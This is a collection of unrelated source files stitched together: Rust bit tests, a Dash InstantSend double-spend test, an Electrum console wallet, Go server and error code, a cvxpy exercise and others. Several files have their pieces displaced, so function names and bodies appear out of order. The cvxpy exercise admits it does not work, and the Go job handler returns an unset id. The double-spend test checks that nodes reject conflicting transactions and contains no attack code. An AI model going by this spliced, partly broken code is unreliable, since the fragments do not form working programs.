0b00000000_00000001_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000011u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, TestCase { x: 0b10000000_00100000_00000000_00000000_00000000_00000000_00000100_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000100_00000000u64, }, TestCase { x: 0b00000000_00010000_00110010_00000000_00000000_00001100_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000100_00000000_00000000u64, }, TestCase { x: 0b11100000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00100000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b11111111_11111111_11111111_11111111_11111111_11111111_11111111_11111111u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, ]; for test_case in test_cases { assert_eq!(test_case.want, e(test_case.x)); } } #[test] fn test_s() { struct TestCase { x: u64, want: u64, } let test_cases = vec![ TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000010u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000011u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000001_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000001_11111111u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000001_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000001_11111111_11111111u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000001_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000001_11111111_11111111_11111111u64, },
x: 0b00000000_00000000_00000000_00000001_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000001_11111111_11111111_11111111_11111111u64, }, TestCase { x: 0b00000000_00000000_00000001_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000000_00000001_11111111_11111111_11111111_11111111_11111111u64, }, TestCase { x: 0b00000000_00000001_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000000_00000001_11111111_11111111_11111111_11111111_11111111_11111111u64, }, TestCase { x: 0b00000001_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00000001_11111111_11111111_11111111_11111111_11111111_11111111_11111111u64, }, TestCase { x: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000011u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, TestCase { x: 0b10000000_00100000_00000000_00000000_00000000_00000000_00000100_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000111_11111111u64, }, TestCase { x: 0b00000000_00010000_00110010_00000000_00000000_00001100_00000000_00000000u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000111_11111111_11111111u64, }, TestCase { x: 0b11100000_00000000_00000000_00000000_00000000_00000000_00000000_00000000u64, want: 0b00111111_11111111_11111111_11111111_11111111_11111111_11111111_11111111u64, }, TestCase { x: 0b11111111_11111111_11111111_11111111_11111111_11111111_11111111_11111111u64, want: 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00000001u64, }, ]; for test_case in test_cases { assert_eq!(test_case.want, s(test_case.x)); } } }
TestCase {
p2p-instantsend.py
#!/usr/bin/env python3 # Copyright (c) 2018 The Dash Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. from test_framework.mininode import * from test_framework.test_framework import DashTestFramework from test_framework.util import * from time import * ''' InstantSendTest -- test InstantSend functionality (prevent doublespend for unconfirmed transactions) ''' class InstantSendTest(DashTestFramework): def __init__(self): super().__init__(9, 5, fast_dip3_enforcement=True) # set sender, receiver, isolated nodes self.isolated_idx = 1 self.receiver_idx = 2 self.sender_idx = 3 def run_test(self): self.nodes[0].spork("SPORK_17_QUORUM_DKG_ENABLED", 0) self.wait_for_sporks_same() self.mine_quorum() self.log.info("Test old InstantSend")
self.test_block_doublespend() # Generate 6 block to avoid retroactive signing overloading Travis self.nodes[0].generate(6) sync_blocks(self.nodes) self.nodes[0].spork("SPORK_20_INSTANTSEND_LLMQ_BASED", 0) self.wait_for_sporks_same() self.log.info("Test new InstantSend") self.test_mempool_doublespend() self.test_block_doublespend() def test_block_doublespend(self): sender = self.nodes[self.sender_idx] receiver = self.nodes[self.receiver_idx] isolated = self.nodes[self.isolated_idx] # feed the sender with some balance sender_addr = sender.getnewaddress() self.nodes[0].sendtoaddress(sender_addr, 1) self.nodes[0].generate(2) self.sync_all() # create doublespending transaction, but don't relay it dblspnd_tx = self.create_raw_tx(sender, isolated, 0.5, 1, 100) # isolate one node from network isolate_node(isolated) # instantsend to receiver receiver_addr = receiver.getnewaddress() is_id = sender.instantsendtoaddress(receiver_addr, 0.9) for node in self.nodes: if node is not isolated: self.wait_for_instantlock(is_id, node) # send doublespend transaction to isolated node isolated.sendrawtransaction(dblspnd_tx['hex']) # generate block on isolated node with doublespend transaction set_mocktime(get_mocktime() + 1) set_node_times(self.nodes, get_mocktime()) isolated.generate(1) wrong_block = isolated.getbestblockhash() # connect isolated block to network reconnect_isolated_node(isolated, 0) # check doublespend block is rejected by other nodes timeout = 10 for i in range(0, self.num_nodes): if i == self.isolated_idx: continue res = self.nodes[i].waitforblock(wrong_block, timeout) assert (res['hash'] != wrong_block) # wait for long time only for first node timeout = 1 # send coins back to the controller node without waiting for confirmations receiver.sendtoaddress(self.nodes[0].getnewaddress(), 0.9, "", "", True) assert_equal(receiver.getwalletinfo()["balance"], 0) # mine more blocks # TODO: mine these blocks on an isolated node set_mocktime(get_mocktime() + 1) set_node_times(self.nodes, get_mocktime()) self.nodes[0].generate(2) self.sync_all() def test_mempool_doublespend(self): sender = self.nodes[self.sender_idx] receiver = self.nodes[self.receiver_idx] isolated = self.nodes[self.isolated_idx] # feed the sender with some balance sender_addr = sender.getnewaddress() self.nodes[0].sendtoaddress(sender_addr, 1) self.nodes[0].generate(2) self.sync_all() # create doublespending transaction, but don't relay it dblspnd_tx = self.create_raw_tx(sender, isolated, 0.5, 1, 100) dblspnd_txid = bytes_to_hex_str(hash256(hex_str_to_bytes(dblspnd_tx['hex']))[::-1]) # isolate one node from network isolate_node(isolated) # send doublespend transaction to isolated node isolated.sendrawtransaction(dblspnd_tx['hex']) # let isolated node rejoin the network # The previously isolated node should NOT relay the doublespending TX reconnect_isolated_node(isolated, 0) for node in self.nodes: if node is not isolated: assert_raises_jsonrpc(-5, "No such mempool or blockchain transaction", node.getrawtransaction, dblspnd_txid) # instantsend to receiver. The previously isolated node should prune the doublespend TX and request the correct # TX from other nodes. receiver_addr = receiver.getnewaddress() is_id = sender.instantsendtoaddress(receiver_addr, 0.9) for node in self.nodes: self.wait_for_instantlock(is_id, node) assert_raises_jsonrpc(-5, "No such mempool or blockchain transaction", isolated.getrawtransaction, dblspnd_txid) # send coins back to the controller node without waiting for confirmations receiver.sendtoaddress(self.nodes[0].getnewaddress(), 0.9, "", "", True) assert_equal(receiver.getwalletinfo()["balance"], 0) if __name__ == '__main__': InstantSendTest().main()
bitwise.rs
// run-pass #[cfg(any(target_pointer_width = "32"))] fn target() { assert_eq!(-1000isize as usize >> 3_usize, 536870787_usize); } #[cfg(any(target_pointer_width = "64"))] fn target() { assert_eq!(-1000isize as usize >> 3_usize, 2305843009213693827_usize); } fn general() { let mut a: isize = 1; let mut b: isize = 2; a ^= b; b ^= a; a = a ^ b; println!("{}", a); println!("{}", b); assert_eq!(b, 1); assert_eq!(a, 2); assert_eq!(!0xf0_isize & 0xff, 0xf); assert_eq!(0xf0_isize | 0xf, 0xff); assert_eq!(0xf_isize << 4, 0xf0); assert_eq!(0xf0_isize >> 4, 0xf); assert_eq!(-16 >> 2, -4); assert_eq!(0b1010_1010_isize | 0b0101_0101, 0xff); } pub fn
() { general(); target(); }
main
important.py
# -*- coding: utf-8 -*- """ Translate docutils node important formatting. each important start will processed with visit() and finished with depart() """ from docutils.nodes import Node from sphinxpapyrus.docxbuilder.translator import DocxTranslator node_name = "important" def visit(visitor: DocxTranslator, node: Node): """Start processing important node""" assert isinstance(visitor, DocxTranslator) assert isinstance(node, Node) def depart(visitor: DocxTranslator, node: Node):
"""Finish processing important node""" assert isinstance(visitor, DocxTranslator) assert isinstance(node, Node)
Datagrid.editorPreview.tsx
import { createElement, ReactElement, useCallback } from "react"; import { ColumnsPreviewType, DatagridPreviewProps } from "../typings/DatagridProps"; import { Table, TableColumn } from "./components/Table"; import { parseStyle } from "@mendix/piw-utils-internal"; import { Selectable } from "mendix/preview/Selectable"; import { ObjectItem, GUID } from "mendix"; import classNames from "classnames"; export function preview(props: DatagridPreviewProps): ReactElement { const data: ObjectItem[] = Array.from({ length: props.pageSize ?? 5 }).map((_, index) => ({ id: String(index) as GUID })); const columns: ColumnsPreviewType[] = props.columns.length > 0 ? props.columns : [ { header: "Column", tooltip: "", attribute: "[No attribute selected]", width: "autoFill", columnClass: "", filter: { renderer: () => <div />, widgetCount: 0 }, resizable: false, showContentAs: "attribute", content: { renderer: () => <div />, widgetCount: 0 }, dynamicText: "Dynamic Text", draggable: false, hidable: "no", size: 1, sortable: false, alignment: "left", wrapText: false, sortProperty: "property" } ]; const selectableWrapperRenderer = useCallback( (columnIndex: number, header: ReactElement) => { const column = columns[columnIndex]; return ( <Selectable key={`selectable_column_${columnIndex}`} caption={column.header.trim().length > 0 ? column.header : "[Empty caption]"} object={column} > {header} </Selectable> ); }, [columns] ); return ( <Table cellRenderer={useCallback( (renderWrapper, _, columnIndex) => { const column = columns[columnIndex]; const className = classNames(`align-column-${column.alignment}`, { "wrap-text": column.wrapText }); let content; switch (column.showContentAs) { case "attribute": content = renderWrapper( <span className="td-text"> {"["} {column.attribute.length > 0 ? column.attribute : "No attribute selected"} {"]"} </span>, className ); break; case "dynamicText": content = renderWrapper(<span className="td-text">{column.dynamicText}</span>, className); break; case "customContent": content = ( <column.content.renderer>{renderWrapper(null, className)}</column.content.renderer> ); } return selectableWrapperRenderer(columnIndex, content); }, [columns] )} className={props.className} columns={transformColumnProps(columns)} columnsDraggable={props.columnsDraggable} columnsFilterable={props.columnsFilterable} columnsHidable={props.columnsHidable} columnsResizable={props.columnsResizable} columnsSortable={props.columnsSortable} data={data} emptyPlaceholderRenderer={useCallback( renderWrapper => ( <props.emptyPlaceholder.renderer caption="Empty list message: Place widgets here"> {renderWrapper(null)} </props.emptyPlaceholder.renderer> ), [props.emptyPlaceholder] )} filterRenderer={useCallback( (renderWrapper, columnIndex) => { const column = columns[columnIndex]; return column.filter ? ( <column.filter.renderer caption="Place filter widget here"> {renderWrapper(null)} </column.filter.renderer> ) : ( renderWrapper(null) ); }, [columns] )} hasMoreItems={false} headerFilters={ props.showHeaderFilters ? ( <props.filtersPlaceholder.renderer caption="Place filter widget(s) here"> <div /> </props.filtersPlaceholder.renderer> ) : null } headerWrapperRenderer={selectableWrapperRenderer} numberOfItems={5} page={0} pageSize={props.pageSize ?? 5} paging={props.pagination === "buttons"} pagingPosition={props.pagingPosition} preview styles={parseStyle(props.style)} valueForSort={useCallback(() => undefined, [])} buttons={[]} selectionMode={"single"}
defaultTrigger={"singleClick"} /> ); } export function getPreviewCss(): string { return require("./ui/DatagridPreview.scss"); } function transformColumnProps(props: ColumnsPreviewType[]): TableColumn[] { return props.map(prop => ({ ...prop, header: (prop.header?.trim().length ?? 0) === 0 ? "[Empty caption]" : prop.header, draggable: false, resizable: false })); }
TourMainView.js
Ext.define("Hatimeria.tour.view.TourMainView", { extend: 'Ext.container.Viewport',
title: 'Tour', layout: 'border', items: [ { region: 'north', xtype: 'container', padding: 10, style: 'font-size: 18px; background: white', html: 'Hatimeria CMF' }, { region: 'center', bodyPadding: 20, html: '<a href="/compiled/js/docs/index.html">Javascript classes documentation</a><br/>' + '<a href="/admin">Administration</a>' } ] })
address.py
# coding: utf-8 from __future__ import absolute_import from datetime import date, datetime # noqa: F401 from typing import List, Dict # noqa: F401 from swagger_server.models.base_model_ import Model from swagger_server import util class Address(Model): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self, id: int=None, number_or_name: str=None, street: str=None, town: str=None, county: str=None, postcode: str=None): # noqa: E501 """Address - a model defined in Swagger :param id: The id of this Address. # noqa: E501 :type id: int :param number_or_name: The number_or_name of this Address. # noqa: E501 :type number_or_name: str :param street: The street of this Address. # noqa: E501 :type street: str :param town: The town of this Address. # noqa: E501 :type town: str :param county: The county of this Address. # noqa: E501 :type county: str :param postcode: The postcode of this Address. # noqa: E501 :type postcode: str """ self.swagger_types = { 'id': int, 'number_or_name': str, 'street': str, 'town': str, 'county': str, 'postcode': str } self.attribute_map = { 'id': 'id', 'number_or_name': 'number_or_name', 'street': 'street', 'town': 'town', 'county': 'county', 'postcode': 'postcode' } self._id = id self._number_or_name = number_or_name self._street = street self._town = town self._county = county self._postcode = postcode @classmethod def from_dict(cls, dikt) -> 'Address': """Returns the dict as a model :param dikt: A dict. :type: dict :return: The Address of this Address. # noqa: E501 :rtype: Address """ return util.deserialize_model(dikt, cls) @property def
(self) -> int: """Gets the id of this Address. :return: The id of this Address. :rtype: int """ return self._id @id.setter def id(self, id: int): """Sets the id of this Address. :param id: The id of this Address. :type id: int """ self._id = id @property def number_or_name(self) -> str: """Gets the number_or_name of this Address. :return: The number_or_name of this Address. :rtype: str """ return self._number_or_name @number_or_name.setter def number_or_name(self, number_or_name: str): """Sets the number_or_name of this Address. :param number_or_name: The number_or_name of this Address. :type number_or_name: str """ self._number_or_name = number_or_name @property def street(self) -> str: """Gets the street of this Address. :return: The street of this Address. :rtype: str """ return self._street @street.setter def street(self, street: str): """Sets the street of this Address. :param street: The street of this Address. :type street: str """ self._street = street @property def town(self) -> str: """Gets the town of this Address. :return: The town of this Address. :rtype: str """ return self._town @town.setter def town(self, town: str): """Sets the town of this Address. :param town: The town of this Address. :type town: str """ self._town = town @property def county(self) -> str: """Gets the county of this Address. :return: The county of this Address. :rtype: str """ return self._county @county.setter def county(self, county: str): """Sets the county of this Address. :param county: The county of this Address. :type county: str """ self._county = county @property def postcode(self) -> str: """Gets the postcode of this Address. :return: The postcode of this Address. :rtype: str """ return self._postcode @postcode.setter def postcode(self, postcode: str): """Sets the postcode of this Address. :param postcode: The postcode of this Address. :type postcode: str """ self._postcode = postcode
id
report_functions_without_rst_generated.py
import os import inspect import networkx as nx print("Run this script from the doc/ directory of the repository") funcs = inspect.getmembers(nx, inspect.isfunction) for n, f in funcs:
# print(n + ": "+str(f)) cmd = r"find . -name *\." + n + ".rst -print" # print(cmd) result = os.popen(cmd).read() # print(result) old_names = ( "find_cores", "test", "edge_betweenness", "betweenness_centrality_source", "write_graphml_lxml", "write_graphml_xml", "adj_matrix", "project", "fruchterman_reingold_layout", "node_degree_xy", "node_attribute_xy", "find_cliques_recursive", "recursive_simple_cycles", ) if len(result) == 0 and n not in old_names: print("Missing file from docs: ", n) print("Done finding functions that are missing from the docs")
stdio.py
from decimal import Decimal _ = lambda x:x #from i18n import _ from electrum import WalletStorage, Wallet from electrum.util import format_satoshis, set_verbosity from electrum.bitcoin import is_valid, COIN, TYPE_ADDRESS from electrum.network import filter_protocol import sys, getpass, datetime # minimal fdisk like gui for console usage # written by rofl0r, with some bits stolen from the text gui (ncurses) class ElectrumGui: def __init__(self, config, daemon, plugins): self.config = config self.network = daemon.network storage = WalletStorage(config.get_wallet_path()) if not storage.file_exists: print "Wallet not found. try 'electrum create'" exit() if storage.is_encrypted(): password = getpass.getpass('Password:', stream=None) storage.decrypt(password) self.done = 0 self.last_balance = "" set_verbosity(False) self.str_recipient = "" self.str_description = "" self.str_amount = "" self.str_fee = "" self.wallet = Wallet(storage) self.wallet.start_threads(self.network) self.contacts = self.wallet.contacts self.network.register_callback(self.on_network, ['updated', 'banner']) self.commands = [_("[h] - displays this help text"), \ _("[i] - display transaction history"), \ _("[o] - enter payment order"), \ _("[p] - print stored payment order"), \ _("[s] - send stored payment order"), \ _("[r] - show own receipt addresses"), \ _("[c] - display contacts"), \ _("[b] - print server banner"), \ _("[q] - quit") ] self.num_commands = len(self.commands) def on_network(self, event, *args): if event == 'updated': self.updated() elif event == 'banner': self.print_banner() def main_command(self): self.print_balance() c = raw_input("enter command: ") if c == "h" : self.print_commands() elif c == "i" : self.print_history() elif c == "o" : self.enter_order() elif c == "p" : self.print_order() elif c == "s" : self.send_order() elif c == "r" : self.print_addresses() elif c == "c" : self.print_contacts() elif c == "b" : self.print_banner() elif c == "n" : self.network_dialog() elif c == "e" : self.settings_dialog() elif c == "q" : self.done = 1 else: self.print_commands() def updated(self): s = self.get_balance() if s != self.last_balance: print(s) self.last_balance = s return True def print_commands(self): self.print_list(self.commands, "Available commands") def print_history(self): width = [20, 40, 14, 14] delta = (80 - sum(width) - 4)/3 format_str = "%"+"%d"%width[0]+"s"+"%"+"%d"%(width[1]+delta)+"s"+"%" \ + "%d"%(width[2]+delta)+"s"+"%"+"%d"%(width[3]+delta)+"s" b = 0 messages = [] for item in self.wallet.get_history(): tx_hash, confirmations, value, timestamp, balance = item if confirmations: try: time_str = datetime.datetime.fromtimestamp(timestamp).isoformat(' ')[:-3] except Exception: time_str = "unknown" else: time_str = 'unconfirmed' label = self.wallet.get_label(tx_hash) messages.append( format_str%( time_str, label, format_satoshis(value, whitespaces=True), format_satoshis(balance, whitespaces=True) ) ) self.print_list(messages[::-1], format_str%( _("Date"), _("Description"), _("Amount"), _("Balance"))) def print_balance(self): print(self.get_balance()) def get_balance(self): if self.wallet.network.is_connected(): if not self.wallet.up_to_date: msg = _( "Synchronizing..." ) else: c, u, x = self.wallet.get_balance() msg = _("Balance")+": %f "%(Decimal(c) / COIN) if u: msg += " [%f unconfirmed]"%(Decimal(u) / COIN) if x: msg += " [%f unmatured]"%(Decimal(x) / COIN) else: msg = _( "Not connected" )
return(msg) def print_contacts(self): messages = map(lambda x: "%20s %45s "%(x[0], x[1][1]), self.contacts.items()) self.print_list(messages, "%19s %25s "%("Key", "Value")) def print_addresses(self): messages = map(lambda addr: "%30s %30s "%(addr, self.wallet.labels.get(addr,"")), self.wallet.get_addresses()) self.print_list(messages, "%19s %25s "%("Address", "Label")) def print_order(self): print("send order to " + self.str_recipient + ", amount: " + self.str_amount \ + "\nfee: " + self.str_fee + ", desc: " + self.str_description) def enter_order(self): self.str_recipient = raw_input("Pay to: ") self.str_description = raw_input("Description : ") self.str_amount = raw_input("Amount: ") self.str_fee = raw_input("Fee: ") def send_order(self): self.do_send() def print_banner(self): for i, x in enumerate( self.wallet.network.banner.split('\n') ): print( x ) def print_list(self, list, firstline): self.maxpos = len(list) if not self.maxpos: return print(firstline) for i in range(self.maxpos): msg = list[i] if i < len(list) else "" print(msg) def main(self): while self.done == 0: self.main_command() def do_send(self): if not is_valid(self.str_recipient): print(_('Invalid Teslacoin address')) return try: amount = int(Decimal(self.str_amount) * COIN) except Exception: print(_('Invalid Amount')) return try: fee = int(Decimal(self.str_fee) * COIN) except Exception: print(_('Invalid Fee')) return if self.wallet.use_encryption: password = self.password_dialog() if not password: return else: password = None c = "" while c != "y": c = raw_input("ok to send (y/n)?") if c == "n": return try: tx = self.wallet.mktx([(TYPE_ADDRESS, self.str_recipient, amount)], password, self.config, fee) except Exception as e: print(str(e)) return if self.str_description: self.wallet.labels[tx.hash()] = self.str_description print(_("Please wait...")) status, msg = self.network.broadcast(tx) if status: print(_('Payment sent.')) #self.do_clear() #self.update_contacts_tab() else: print(_('Error')) def network_dialog(self): print("use 'electrum setconfig server/proxy' to change your network settings") return True def settings_dialog(self): print("use 'electrum setconfig' to change your settings") return True def password_dialog(self): return getpass.getpass() # XXX unused def run_receive_tab(self, c): #if c == 10: # out = self.run_popup('Address', ["Edit label", "Freeze", "Prioritize"]) return def run_contacts_tab(self, c): pass
server.go
package http import ( "encoding/json" "fmt" uuid "github.com/satori/go.uuid" "log" "net/http" "sync" "github.com/dbalduini/darko/fifo" ) // StartServer starts a http server to create new jobs. // On HA mode, the master will up the http server to receive new jobs. // On standalone mode, the server and the queue listener will run on the same process. func StartServer(wg *sync.WaitGroup, port string, queue fifo.Queue, shards int) *http.Server
type jobHandler struct { queue fifo.Queue shards int } func (h *jobHandler) ServeHTTP(w http.ResponseWriter, req *http.Request) { var job fifo.Job var id string if req.Method != "POST" { http.Error(w, "method not allowed", http.StatusMethodNotAllowed) return } if err := json.NewDecoder(req.Body).Decode(&job); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } if job.PrimaryKey == "" { http.Error(w, "primary_key cannot be empty", http.StatusBadRequest) return } // get the correct partition to send the job pk := job.Hash() % h.shards // set job info job.ID = uuid.NewV4().String() job.PartitionKey = pk data, _ := fifo.Pack(job) // put the job on the queue topic := fmt.Sprintf("%s:%d", fifo.TopicJobsNew, pk) if err := h.queue.Push(topic, data); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } w.Header().Add("Content-Type", "application/json") w.WriteHeader(http.StatusAccepted) w.Write([]byte(fmt.Sprintf("{\"id\":\"%s\"}", id))) }
{ srv := &http.Server{Addr: ":" + port} http.Handle("/jobs", &jobHandler{queue, shards}) go func() { defer wg.Done() // let main know we are done cleaning up // always returns error. ErrServerClosed on graceful close if err := srv.ListenAndServe(); err != http.ErrServerClosed { log.Fatalln("(ha:master) error starting the server", err) } }() return srv }
InClass_20210303.py
""" In Class Ex: Constrained \infty-norm minimization Problem: minimize: \norm{x}_\infty subject to: A x \leq b
= \max_i \{x_i, -x_i\} = \max_i \{x_1, \dots, x_n, -x_1, \dots, -x_n\} Epigraph Form: minimize: t subject to: \max_i \{x_1, \dots, x_n, -x_1, \dots, -x_n\} \leq t Ax \leq b Equivelent Form: minimize: t subject to: x_i \leq t, i = 1, \dots, n -x_i \leq t, i = 1, \dots, n Ax \leq b Equivelent Form: minimize: t subject to: - 1 t \leq x \leq 1 t Ax \leq b """ import cvxpy as cp import numpy as np n = 10 m = 100 A = np.random.rand(m, n) b = np.random.rand(m, 1) - 1 X = cp.Variable((n, n)) prob = cp.Problem(cp.Minimize(cp.max(cp.sum(cp.abs(X)))), [A @ X <= b]) # Print result. print("The optimal value is", prob.value) print("A solution X is") print(X.value) # doesn't work..... don't really feel like troubleshooting though
Notes: \norm{x}_\infty = \max_i \abs{x_i}
miscIgnoreProjectWarning.js
function reload() { nova.commands.invoke('tommasonegri.vue.commands.reload') } nova.config.onDidChange( 'tommasonegri.vue.config.vetur.misc.ignoreProjectWarning', reload ) nova.workspace.config.onDidChange( 'tommasonegri.vue.config.vetur.misc.ignoreProjectWarning', reload ) function getExtensionSetting() { return nova.config.get( 'tommasonegri.vue.config.vetur.misc.ignoreProjectWarning', 'boolean' ) } function getWorkspaceSetting() { const str = nova.workspace.config.get( 'tommasonegri.vue.config.vetur.misc.ignoreProjectWarning', 'string'
switch (str) { case 'Global Default': return null case 'Enable': return true case 'Disable': return false default: return null } } export default function isMiscIgnoreProjectWarningEnabled() { const workspaceConfig = getWorkspaceSetting() const extensionConfig = getExtensionSetting() return workspaceConfig === null ? extensionConfig : workspaceConfig }
)
errors.go
package errors import ( "bytes" "fmt" "os" "runtime" ) var hostname string func init() { hostname, _ = os.Hostname() } const MAX_FRAME_COUNT = 200 type Frame struct { ExtendedError bool Values []KV DroppedInfo bool SourceHost string SourceFile string SourceLine int Depth uint64 } func
(tab []KV, k string) (string, bool) { for _, kv := range tab { if kv.K == k { return kv.V, true } } return "", false } type Trace struct { Frames []Frame } type KV struct { K string V string } type Error struct { // Error context, intended to be immutable, // Never mutate values stored in the context. // Never modify this in place. Values []KV // Program counter of where this error originates. SourcePC uintptr WasDerserialized bool SourceHost string SourceFile string SourceLine int Depth uint64 DroppedInfo bool // The original cause of the error, if nil, // the error itself is the cause, Cause error // Root cause of the error chain. RootCause error } func (err *Error) String() string { return err.Error() } func (err *Error) Error() string { rootCause := RootCause(err) msg := "error" msgVal, ok := err.LookupValue("msg") if ok { msg = msgVal } if rootCause == nil || err.Cause == nil { return msg } return fmt.Sprintf("%s: %s", msg, rootCause.Error()) } func (err *Error) LookupValue(k string) (string, bool) { return lookupValue(err.Values, k) } func getDepth(err error) uint64 { e, ok := err.(*Error) if !ok { return 0 } return e.Depth } func New(msg string) error { var pc [1]uintptr runtime.Callers(2, pc[:]) return &Error{ SourcePC: pc[0], Values: []KV{KV{K: "msg", V: msg}}, Cause: nil, RootCause: nil, Depth: 0, } } func Errorf(format string, args ...interface{}) error { var pc [1]uintptr runtime.Callers(2, pc[:]) return &Error{ SourcePC: pc[0], Values: []KV{KV{K: "msg", V: fmt.Sprintf(format, args...)}}, Cause: nil, RootCause: nil, Depth: 0, } } func Wrap(err error, args ...interface{}) error { if err == nil { return nil } var pc [1]uintptr runtime.Callers(2, pc[:]) values := []KV{} if len(args) == 0 { args = []interface{}{"error"} } if len(args)%2 != 0 { // If we are an odd number, the first must be the a message values = append(values, KV{K: "msg", V: fmt.Sprintf("%v", args[0])}) args = args[1:] } for i := 0; i < len(args); i += 2 { k, ok := args[i].(string) if !ok { continue } v := args[i+1] values = append(values, KV{K: k, V: fmt.Sprintf("%v", v)}) } depth := getDepth(err) + 1 droppedInfo := false cause := err rootCause := RootCause(err) if depth > MAX_FRAME_COUNT { cause = Cause(cause) droppedInfo = true } return &Error{ SourcePC: pc[0], Values: values, Cause: cause, RootCause: rootCause, Depth: depth, DroppedInfo: droppedInfo, } } func Wrapf(err error, format string, args ...interface{}) error { if err == nil { return nil } var pc [1]uintptr runtime.Callers(2, pc[:]) depth := getDepth(err) + 1 droppedInfo := false cause := err rootCause := RootCause(err) if depth > MAX_FRAME_COUNT { cause = Cause(cause) droppedInfo = true } return &Error{ SourcePC: pc[0], Values: []KV{KV{K: "msg", V: fmt.Sprintf(format, args...)}}, Cause: cause, RootCause: rootCause, Depth: depth, DroppedInfo: droppedInfo, } } // Return an error trace up to the maximum of 10000 frames. func GetTrace(err error) *Trace { t := &Trace{} for { if err == nil { return t } e, ok := err.(*Error) if !ok { t.Frames = append(t.Frames, Frame{ Values: []KV{KV{K: "msg", V: err.Error()}}, ExtendedError: false, }) return t } if e.WasDerserialized { t.Frames = append(t.Frames, Frame{ ExtendedError: true, DroppedInfo: e.DroppedInfo, SourceHost: e.SourceHost, SourceFile: e.SourceFile, SourceLine: e.SourceLine, Depth: e.Depth, Values: e.Values, }) } else { fn := runtime.FuncForPC(e.SourcePC) file, line := fn.FileLine(e.SourcePC) t.Frames = append(t.Frames, Frame{ ExtendedError: true, DroppedInfo: e.DroppedInfo, SourceHost: hostname, SourceFile: file, SourceLine: line, Depth: e.Depth, Values: e.Values, }) } err = e.Cause } return t } // Return the next error cause of an error if possible. func Cause(err error) error { if err == nil { return nil } e, ok := err.(*Error) if ok { if e.Cause == nil { return err } return e.Cause } return err } // Return the original error cause of an error if possible. func RootCause(err error) error { if err == nil { return nil } e, ok := err.(*Error) if ok { if e.RootCause != nil { return e.RootCause } } return err } func (t *Trace) String() string { var buf bytes.Buffer for _, f := range t.Frames { if f.ExtendedError { _, _ = fmt.Fprintf(&buf, "%s:%s:%d\n", f.SourceHost, f.SourceFile, f.SourceLine) } else { _, _ = fmt.Fprintf(&buf, "???:???:???\n") } if len(f.Values) != 0 { _, _ = fmt.Fprintf(&buf, "Where:\n") for _, kv := range f.Values { _, _ = fmt.Fprintf(&buf, " %#v = %#v\n", kv.K, kv.V) } } if f.DroppedInfo { _, _ = fmt.Fprintf(&buf, "... Dropped info ...\n") } } return buf.String() }
lookupValue
newc.go
// Copyright 2013-2017 the u-root Authors. All rights reserved // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package cpio import ( "bytes" "encoding/binary" "encoding/hex" "fmt" "io" "os" "github.com/u-root/u-root/pkg/uio" ) const ( newcMagic = "070701" magicLen = 6 ) // Newc is the newc CPIO record format. var Newc RecordFormat = newc{magic: newcMagic} type header struct { Ino uint32 Mode uint32 UID uint32 GID uint32 NLink uint32 MTime uint32 FileSize uint32 Major uint32 Minor uint32 Rmajor uint32 Rminor uint32 NameLength uint32 CRC uint32 } func headerFromInfo(i Info) header { var h header h.Ino = uint32(i.Ino) h.Mode = uint32(i.Mode) h.UID = uint32(i.UID) h.GID = uint32(i.GID) h.NLink = uint32(i.NLink) h.MTime = uint32(i.MTime) h.FileSize = uint32(i.FileSize) h.Major = uint32(i.Major) h.Minor = uint32(i.Minor) h.Rmajor = uint32(i.Rmajor) h.Rminor = uint32(i.Rminor) h.NameLength = uint32(len(i.Name)) + 1 return h } func (h header) Info() Info { var i Info i.Ino = uint64(h.Ino) i.Mode = uint64(h.Mode) i.UID = uint64(h.UID) i.GID = uint64(h.GID) i.NLink = uint64(h.NLink) i.MTime = uint64(h.MTime) i.FileSize = uint64(h.FileSize) i.Major = uint64(h.Major) i.Minor = uint64(h.Minor) i.Rmajor = uint64(h.Rmajor) i.Rminor = uint64(h.Rminor) return i } // newc implements RecordFormat for the newc format. type newc struct { magic string } // round4 returns the next multiple of 4 close to n. func
